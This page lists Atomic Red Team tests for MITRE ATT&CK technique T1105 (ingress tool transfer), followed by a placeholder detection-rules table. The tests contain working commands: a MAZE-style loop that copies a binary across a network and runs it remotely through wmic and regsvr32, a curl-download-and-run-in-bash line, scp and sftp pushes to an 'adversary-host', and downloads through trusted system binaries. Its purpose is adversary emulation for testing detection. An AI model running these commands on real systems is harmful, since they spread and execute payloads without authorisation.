New-Item -Type Directory (split-path "#{Path_to_file}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105.bat" -OutFile "#{Path_to_file}"

GUID5e4cb080-f3ad-4712-8368-2241d1a18bb4

21 MAZE Propagation Script windows PowerShell — 2 Yes

This test simulates MAZE ransomware's propogation script that searches through a list of computers, tests connectivity to them, and copies a binary file to the Windows\Temp directory of each one. Upon successful execution, a specified binary file will attempt to be copied to each online machine, a list of the online machines, as well as a list of offline machines will be output to a specified location. Reference: https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html

Input arguments

Name	Type	Default	Description
binary_file	string	$env:comspec	Binary file to copy to remote machines
exe_remote_folder	string	\Windows\Temp\T1105.exe	Path to store executable on remote machine (no drive letter)
remote_drive_letter	string	C	Remote drive letter

Attack command

$machine_list = "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt"
$offline_list = "PathToAtomicsFolder\..\ExternalPayloads\T1105OfflineHosts.txt"
$completed_list = "PathToAtomicsFolder\..\ExternalPayloads\T1105CompletedHosts.txt"
foreach ($machine in get-content -path "$machine_list")
{if (test-connection -Count 1 -computername $machine -quiet) 
{cmd /c copy "#{binary_file}" "\\$machine\#{remote_drive_letter}$#{exe_remote_folder}"
echo $machine >> "$completed_list"
wmic /node: "$machine" process call create "regsvr32.exe /i #{remote_drive_letter}:#{exe_remote_folder}"}
else
{echo $machine >> "$offline_list"}}

Cleanup command

if (test-path "PathToAtomicsFolder\..\ExternalPayloads\T1105CompletedHosts.txt") 
{foreach ($machine in get-content -path "PathToAtomicsFolder\..\ExternalPayloads\T1105CompletedHosts.txt")
{wmic /node: "$machine" process where name='"regsvr32.exe"' call terminate | out-null
Remove-Item -path "\\$machine\#{remote_drive_letter}$#{exe_remote_folder}" -force -erroraction silentlycontinue}}
Remove-Item -path "PathToAtomicsFolder\..\ExternalPayloads\T1105OfflineHosts.txt" -erroraction silentlycontinue
Remove-item -path "PathToAtomicsFolder\..\ExternalPayloads\T1105CompletedHosts.txt" -erroraction silentlycontinue

Prerequisite

Binary file must exist at specified location (#{binary_file})

Check

if (Test-Path #{binary_file}) {exit 0} else {exit 1}

Satisfy

write-host "The binary_file input parameter must be set to a binary that exists on this computer."

Prerequisite

Machine list must exist at specified location ("PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt")

Check

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
new-item -path "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt" | Out-Null
echo "A machine list file has been generated at "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt". Please enter the machines to target there, one machine per line."

GUID0872ce85-6925-4e12-b065-5c0228fd521e

22 Printer Migration Command-Line Tool UNC share folder into a zip file windows cmd — — Yes

Create a ZIP file from a folder in a remote drive

Input arguments

Name	Type	Default	Description
Path_unc	path	\\127.0.0.1\c$\AtomicRedTeam\atomics\T1105\src\	Path to the UNC folder
Path_PrintBrm	path	C:\Windows\System32\spool\tools\PrintBrm.exe	Path to PrintBrm.exe

Attack command

del %TEMP%\PrintBrm.zip >nul 2>&1 
#{Path_PrintBrm} -b -d #{Path_unc}  -f %TEMP%\PrintBrm.zip -O FORCE

Cleanup command

del %TEMP%\PrintBrm.zip >nul 2>&1

GUID8634d0cb-d675-4d6a-a6e9-b73004ef7654

23 Lolbas replace.exe use to copy file windows cmd — 1 Yes

Copy file.cab to destination Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/

Input arguments

Name	Type	Default	Description
replace_cab	path	PathToAtomicsFolder\T1105\src\redcanary.cab	Path to the cab file
Path_replace	path	C:\Windows\System32\replace.exe	Path to replace.exe

Attack command

del %TEMP%\redcanary.cab >nul 2>&1
#{Path_replace} "#{replace_cab}" %TEMP% /A

Cleanup command

del %TEMP%\redcanary.cab >nul 2>&1

Prerequisite

#{replace_cab} must exist on system.

Check

if (Test-Path "#{replace_cab}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{replace_cab}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/redcanary.cab" -OutFile "#{replace_cab}"

GUID3d618480-8e09-4a12-a697-10057984b264

24 Lolbas replace.exe use to copy UNC file windows cmd — — Yes

Copy UNC file to destination Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/

Input arguments

Name	Type	Default	Description
replace_cab	path	\\127.0.0.1\c$\AtomicRedTeam\atomics\T1105\src\redcanary.cab	UNC Path to the cab file
Path_replace	path	C:\Windows\System32\replace.exe	Path to replace.exe

Attack command

del %TEMP%\redcanary.cab >nul 2>&1
#{Path_replace} #{replace_cab} %TEMP% /A

Cleanup command

del %TEMP%\redcanary.cab >nul 2>&1

GUIDf1511352-9fbd-4719-ad94-5e90774ffdf2

25 certreq download windows cmd — — Yes

Use certreq to download a file from the web

Input arguments

Name	Type	Default	Description
local_path	string	%temp%\Atomic-license.txt	Local path to place file
remote_file	url	https://example.com	URL of file to copy

Attack command

certreq.exe -Post -config #{remote_file} c:\windows\win.ini #{local_path}

Cleanup command

del #{local_path} >nul 2>&1

GUID94257b92-fe7e-464f-97a6-1c3307fb70f7

26 Download a file using wscript windows cmd — 1 Yes

Use wscript to run a local VisualBasic file to download a remote file

Input arguments

Name	Type	Default	Description
vbscript_file	string	PathToAtomicsFolder\T1105\src\T1105-download-file.vbs	Full path to the VisualBasic downloading the file

Attack command

wscript.exe "#{vbscript_file}"

Cleanup command

del Atomic-License.txt >nul 2>&1

Prerequisite

#{vbscript_file} must be exist on system.

Check

if (Test-Path "#{vbscript_file}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{vbscript_file}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105-download-file.vbs" -OutFile "#{vbscript_file}"

GUIDc6e14f9b-ce58-4391-a0b5-d4371c09f53d

27 Linux Download File and Run linux sh — — Yes

Utilize linux Curl to download a remote file, chmod +x it and run it.

Input arguments

Name	Type	Default	Description
remote_url	string	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/src/atomic.sh	url of remote payload
payload_name	string	atomic.sh	payload name

Attack command

curl -sO #{remote_url}; chmod +x #{payload_name} | bash #{payload_name}

Cleanup command

rm #{payload_name}

GUID5552943e-678c-4654-8a82-aa054c0aad2a

28 Nimgrab - Transfer Files windows cmd — 1 Yes

Use nimgrab.exe to download a file from the web.

Input arguments

Name	Type	Default	Description
remote_file	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt	URL of file to copy
destination_path	path	$env:TEMP\Atomic-license.txt	Destination path to file

Attack command

cmd /c "PathToAtomicsFolder\..\ExternalPayloads\nimgrab.exe" #{remote_file} #{destination_path}

Cleanup command

del #{destination_path} >nul 2>&1

Prerequisite

NimGrab must be installed on system.

Check

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\nimgrab.exe") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://nim-lang.org/download/nim-1.6.6_x64.zip" -Outfile "PathToAtomicsFolder\..\ExternalPayloads\nim.zip"
Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\nim.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\nim" -Force
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\nim\nim-1.6.6\bin\nimgrab.exe" "PathToAtomicsFolder\..\ExternalPayloads\nimgrab.exe"

GUID142f297d-09b3-44af-81f5-d692fefdcc0a

29 iwr or Invoke Web-Request download windows cmd Required — Yes

Use 'iwr' or "Invoke-WebRequest" -URI argument to download a file from the web. Note: without -URI also works in some versions.

Input arguments

Name	Type	Default	Description
local_path	path	%temp%\Atomic-license.txt	Local path to place file
remote_file	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt	URL of file to copy

Attack command

powershell.exe iwr -URI #{remote_file} -Outfile #{local_path}

Cleanup command

del %temp%\Atomic-license.txt >nul 2>&1

GUIDae0c0765-0a5e-4072-84a6-077c9742b768

30 Arbitrary file download using the Notepad++ GUP.exe binary windows cmd Required 1 Yes

GUP is an open source signed binary used by Notepad++ for software updates, and can be used to download arbitrary files(.zip) from internet/github. Reference Upon execution, a sample zip file will be downloaded to C:\Temp\Sample folder

Input arguments

Name	Type	Default	Description
working_dir	path	PathToAtomicsFolder\T1105\bin\	The directory where GUP.exe & it's dependecies exists
gup_executable	String	PathToAtomicsFolder\T1105\bin\GUP.exe	GUP is an open source signed binary used by Notepad++ for software updates
target_file_url	url	https://getsamplefiles.com/download/zip/sample-2.zip	URL of the target ZIP file (Eg: https://example.com/test.zip)
target_file_sha256	string	CAC4D26F32CA629DFB10FE614ED00EB1066A0C0011386290D3426C3DE2E53AC6	SHA256 value of target ZIP file

Attack command

mkdir "c:\Temp"
cd #{working_dir}
GUP.exe -unzipTo "" "C:\Temp" "Sample #{target_file_url} #{target_file_sha256}"

Cleanup command

rmdir /s /q "C:\Temp\Sample" >nul 2>nul

Prerequisite

Gup.exe binary must exist on disk at specified location (#{gup_executable})

Check

if (Test-Path "#{gup_executable}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{gup_executable}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/bin/GUP.exe" -OutFile "#{gup_executable}"

GUID2a95c1a2-8c50-49cf-9977-c8b997ffa578

31 File download via nscurl macos sh — — Yes

Use nscurl to download and write a file/payload from the internet. -k = Disable certificate checking -o = Output destination

Input arguments

Name	Type	Default	Description
remote_file	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt	URL of remote file to download
destination_path	path	license.txt	Local path to place remote file

Attack command

nscurl -k "#{remote_file}" -o "#{destination_path}"

Cleanup command

rm "#{destination_path}"

GUID9c8ab1e7-1258-4765-b32b-49eb803f308e

32 File Download with Sqlcmd.exe windows PowerShell Required 1 Yes

One of the windows packages 'Sqlcmd.exe' can be abused to download malicious files from C2 servers This Atomic will exhibit the similar behavior by downloading a sample zip file from src directory of this Technique folder via GitHub URL

Input arguments

Name	Type	Default	Description
remote_url	url	https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105.zip	URL of the C2 Server from where file/s need to be downloaded
local_file_path	path	C:\T1105.zip	The local file path along with filename to where the file needs to be downloaded and placed.

Attack command

sqlcmd -i #{remote_url} -o #{local_file_path}

Cleanup command

rm "#{local_file_path}" 2>$null | Out-Null

Prerequisite

Windows package 'Sqlcmd' need to be available in the machine to execute this atomic successfully

Check

if (Get-Command sqlcmd 2>$null) {exit 0} else {exit 1}

Satisfy

winget install Microsoft.Sqlcmd --silent 2>$null | Out-Null

GUIDa3d2dd8c-7dec-4651-aa0f-32a100c27d8e

33 Remote File Copy using PSCP windows cmd — 1 Yes

Copy a staged file using PSCP.exe to a public target location.

Input arguments

Name	Type	Default	Description
pscp_url	string	https://the.earth.li/~sgtatham/putty/latest/w64/pscp.exe	pscp.exe download path
scp_port	string	22	port for the remote server
scp_user	string	atomic	Username of the SCP user
pscp_binary	string	PathToAtomicsFolder\..\ExternalPayloads\pscp.exe	PSCP binary location
scp_password	string	atomic	Password for the SCP User
exfil_package	path	C:\Temp\T1105_scp.zip	path to exfil package
target_filename	string	T1105_scp.zip	Filename on the destination.
target_location	string	127.0.0.1	Remote location where the data will be copied to.

Attack command

fsutil file createnew C:\Temp\T1105_scp.zip 1048576
echo y | #{pscp_binary} -P #{scp_port} -pw #{scp_password} #{exfil_package} #{scp_user}@#{target_location}:#{target_filename}

Cleanup command

del /f /q #{exfil_package}

Prerequisite

pscp.exe must be available on the system.

Check

if (Test-Path #{pscp_binary}) {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "#{pscp_url}" -Outfile "PathToAtomicsFolder\..\ExternalPayloads\pscp.exe"

GUID8ec0e69b-2a22-4885-bc00-17c26bc59cdc

34 Windows push file using scp.exe windows PowerShell Required 1 Yes

This test simulates pushing files using SCP on a Windows environment.

Input arguments

Name	Type	Default	Description
username	string	adversary	User account to authenticate on remote host
file_name	string	T1105.txt	Name of the file to transfer
local_path	path	C:\temp	Local path to copy from
remote_host	string	adversary-host	Remote host to send
remote_path	path	/tmp/	Path of folder to copy

Attack command

# Check if the folder exists, create it if it doesn't
$folderPath = "#{local_path}"
if (-Not (Test-Path -Path $folderPath)) {
    New-Item -Path $folderPath -ItemType Directory
}

# Create the file
$filePath = Join-Path -Path $folderPath -ChildPath "#{file_name}"
New-Item -Path $filePath -ItemType File -Force
Write-Output "File created: $filePath"

# Attack command
scp.exe #{local_path}\#{file_name} #{username}@#{remote_host}:#{remote_path}

Cleanup command

$filePath = Join-Path -Path "#{local_path}" -ChildPath "#{file_name}"
Remove-Item -Path $filePath -Force -erroraction silentlycontinue
Write-Output "File deleted: $filePath"

Prerequisite

This test requires the `scp` command to be available on the system.

Check

if (Get-Command scp -ErrorAction SilentlyContinue) {
    Write-Output "SCP command is available."
    exit 0
} else {
    Write-Output "SCP command is not available."
    exit 1
}

Satisfy

# Define the capability name for OpenSSH Client
$capabilityName = "OpenSSH.Client~~~~0.0.1.0"
try {
    # Install the OpenSSH Client capability
    Add-WindowsCapability -Online -Name $capabilityName -ErrorAction Stop
    Write-Host "OpenSSH Client has been successfully installed." -ForegroundColor Green
} catch {
    # Handle any errors that occur during the installation process
    Write-Host "An error occurred while installing OpenSSH Client: $_" -ForegroundColor Red
}

GUIDe90c6df5-410c-4335-8641-f50ea396b05b

35 Windows pull file using scp.exe windows PowerShell Required 1 —

This test simulates pulling files using SCP on a Windows environment.

Input arguments

Name	Type	Default	Description
username	string	adversary	User account to authenticate on remote host
local_path	path	C:\temp	Local path to receive files
remote_host	string	adversary-host	Remote host to pull from
remote_path	path	/tmp/T1105.txt	Path of folder to pull

Attack command

scp.exe #{username}@#{remote_host}:#{remote_path} #{local_path}

Prerequisite

This test requires the `scp` command to be available on the system.

Check

if (Get-Command scp -ErrorAction SilentlyContinue) {
    Write-Output "SCP command is available."
    exit 0
} else {
    Write-Output "SCP command is not available."
    exit 1
}

Satisfy

# Define the capability name for OpenSSH Client
$capabilityName = "OpenSSH.Client~~~~0.0.1.0"
try {
    # Install the OpenSSH Client capability
    Add-WindowsCapability -Online -Name $capabilityName -ErrorAction Stop
    Write-Host "OpenSSH Client has been successfully installed." -ForegroundColor Green
} catch {
    # Handle any errors that occur during the installation process
    Write-Host "An error occurred while installing OpenSSH Client: $_" -ForegroundColor Red
}

GUIDf206994a-2c37-4177-a504-ca547e9474a5

36 Windows push file using sftp.exe windows PowerShell Required 1 Yes

This test simulates pushing files using SFTP on a Windows environment.

Input arguments

Name	Type	Default	Description
username	string	adversary	User account to authenticate on remote host
file_name	string	T1105.txt	Name of the file to transfer
local_path	path	C:\temp	Local path to receive sftp
remote_host	string	adversary-host	Remote host to send
remote_path	path	/tmp	Path of folder to copy

Attack command

# Check if the folder exists, create it if it doesn't
$folderPath = "#{local_path}"
if (-Not (Test-Path -Path $folderPath)) {
    New-Item -Path $folderPath -ItemType Directory
}
# Create the file
$filePath = Join-Path -Path $folderPath -ChildPath "#{file_name}"
New-Item -Path $filePath -ItemType File -Force
Write-Output "File created: $filePath"
# Attack command
echo "put #{local_path}\#{file_name}" | sftp #{username}@#{remote_host}:#{remote_path}

Cleanup command

$filePath = Join-Path -Path "#{local_path}" -ChildPath "#{file_name}"
Remove-Item -Path $filePath -Force
Write-Output "File deleted: $filePath"

Prerequisite

This test requires the `sftp` command to be available on the system.

Check

if (Get-Command sftp -ErrorAction SilentlyContinue) {
    Write-Output "SFTP command is available."
    exit 0
} else {
    Write-Output "SFTP command is not available."
    exit 1
}

Satisfy

# Define the capability name for OpenSSH Client
$capabilityName = "OpenSSH.Client~~~~0.0.1.0"
try {
    # Install the OpenSSH Client capability
    Add-WindowsCapability -Online -Name $capabilityName -ErrorAction Stop
    Write-Host "OpenSSH Client has been successfully installed." -ForegroundColor Green
} catch {
    # Handle any errors that occur during the installation process
    Write-Host "An error occurred while installing OpenSSH Client: $_" -ForegroundColor Red
}

GUID61ce46ec-acc3-42c9-a1ca-e5080c8fcc92

37 Windows pull file using sftp.exe windows PowerShell Required 1 —

This test simulates pulling files using SFTP on a Windows environment.

Input arguments

Name	Type	Default	Description
username	string	adversary	User account to authenticate on remote host
local_path	path	C:\temp	Local path to receive files
remote_host	string	adversary-host	Remote host to pull from
remote_path	path	/tmp/T1105.txt	Path of file to pull

Attack command

sftp.exe #{username}@#{remote_host}:#{remote_path} #{local_path}

Prerequisite

This test requires the `sftp` command to be available on the system.

Check

if (Get-Command sftp -ErrorAction SilentlyContinue) {
    Write-Output "SFTP command is available."
    exit 0
} else {
    Write-Output "SFTP command is not available."
    exit 1
}

Satisfy

# Define the capability name for OpenSSH Client
$capabilityName = "OpenSSH.Client~~~~0.0.1.0"
try {
    # Install the OpenSSH Client capability
    Add-WindowsCapability -Online -Name $capabilityName -ErrorAction Stop
    Write-Host "OpenSSH Client has been successfully installed." -ForegroundColor Green
} catch {
    # Handle any errors that occur during the installation process
    Write-Host "An error occurred while installing OpenSSH Client: $_" -ForegroundColor Red
}

GUID8de537a7-2c14-492d-8808-2a91df76dc27

38 Download a file with OneDrive Standalone Updater windows PowerShell — 1 Yes

Uses OneDrive Standalone Updater to download a file from a specified URL by setting up the required registry keys. This technique can be used to download files without executing anomalous executables. Reference: https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/

Input arguments

Name	Type	Default	Description
remote_url	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt	URL to download file from
onedrive_path	path	C:\Users\$env:USERNAME\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe	Path to OneDrive Standalone Updater executable

Attack command

if (-not (Test-Path "#{onedrive_path}")) {
    Write-Host "OneDriveStandaloneUpdater.exe not found at #{onedrive_path}. Test cannot continue."
    exit 1
}

New-Item -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "UpdateRingSettingURLFromOC" -Value "#{remote_url}" -Type String -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "ODSUUpdateXMLUrlFromOC" -Value "#{remote_url}" -Type String -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "UpdateXMLUrlFromOC" -Value "#{remote_url}" -Type String -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "UpdateOfficeConfigTimestamp" -Value 99999999999 -Type QWord -Force

# Run OneDrive Standalone Updater
& "#{onedrive_path}"

Cleanup command

Remove-Item -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Force -ErrorAction Ignore
Remove-Item -Path "$env:LOCALAPPDATA\Microsoft\OneDrive\StandaloneUpdater\PreSignInSettingsConfig.json" -Force -ErrorAction Ignore

Prerequisite

OneDriveStandaloneUpdater.exe must exist on disk at specified location

Check

if (Test-Path "#{onedrive_path}") {exit 0} else {exit 1}

Satisfy

Write-Host "OneDriveStandaloneUpdater.exe not found at #{onedrive_path}. Please install OneDrive or specify correct path."

GUID68828162-9aea-4a00-b3b6-03102afbf2ae

39 Curl Insecure Connection from a Pod containers bash — 1 —

Launches an Ubuntu pod, installs curl, and executes curl with insecure flags (-k/--insecure) against a target URL. The pod is automatically deleted after execution.

Input arguments

Name	Type	Default	Description
pod_name	string	atomic-insecure-curl	K8s pod_name to execute the command in
image_name	string	curlimages/curl	Name of the docker image
remote_url	string	https://malicious-apt.com	Remote URL to curl

Attack command

kubectl run #{pod_name} --image=#{image_name} --restart=Never --rm -it -- curl -ksL #{remote_url}

Prerequisite

kubectl must be installed and configured

Check

which kubectl

Satisfy

echo "kubectl must be installed manually"

GUID1cc1b1c0-3406-4dd5-a340-fb891ffb7ea6

Tests from Atomic Red Team (MIT licence) · technique definition

Ingress Tool Transfer detections T1105

129 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 1%of all ATT&CK techniques for number of rules

Product

(none) 3

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs